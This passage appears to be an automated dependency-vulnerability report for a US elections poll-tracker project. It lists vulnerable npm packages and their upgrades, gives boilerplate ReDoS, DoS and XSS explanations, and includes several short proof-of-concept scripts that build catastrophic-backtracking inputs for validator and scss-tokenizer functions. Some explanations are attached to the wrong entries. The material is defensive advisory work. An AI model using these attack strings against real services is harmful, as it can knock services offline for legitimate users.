        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            scss.tokenize(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade scss-tokenizer to version 0.4.3 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.28.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Information Exposure due to improper user-input, by allowing an attacker to create malicious queries leading to SQL errors.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: uglify-js
  • Introduced through: exhibit-plugin-uglify@0.10.1 and html-minifier@3.5.21

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-uglify@0.10.1 uglify-js@2.8.29
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD html-minifier@3.5.21 uglify-js@3.4.10
    Remediation: Upgrade to html-minifier@4.0.0.

Overview

uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade uglify-js to version 3.14.3 or higher.

References

medium severity

Improper Validation of Specified Type of Input

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@5.22.5.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.

Remediation

Upgrade validator to version 13.15.20 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@5.22.5.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug() function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@5.22.5.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@5.22.5.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: mem
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 yargs@8.0.2 os-locale@2.1.0 mem@1.1.0
    Remediation: Upgrade to sequelize-cli@5.0.1.

Overview

mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.

Affected versions of this package are vulnerable to Denial of Service (DoS). Old results were deleted from the cache and could cause a memory leak.

details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade mem to version 4.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: remove-markdown
  • Introduced through: g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates remove-markdown@0.1.0

Overview

remove-markdown is a node.js module that will remove (strip) Markdown formatting from text. Markdown formatting means pretty much anything that doesn’t look like regular text, like square brackets, asterisks etc.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) if a string contains large numbers of consecutive spaces.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade remove-markdown to version 0.5.0 or higher.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference via Sass::Parser::parseCompoundSelectorin parser_selectors.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Remediation

There is no fixed version for node-sass.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read via Sass::weaveParents in ast_sel_weave.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for node-sass.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Uncontrolled Recursion via Sass::Eval::operator()(Sass::Binary_Expression*) in eval.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
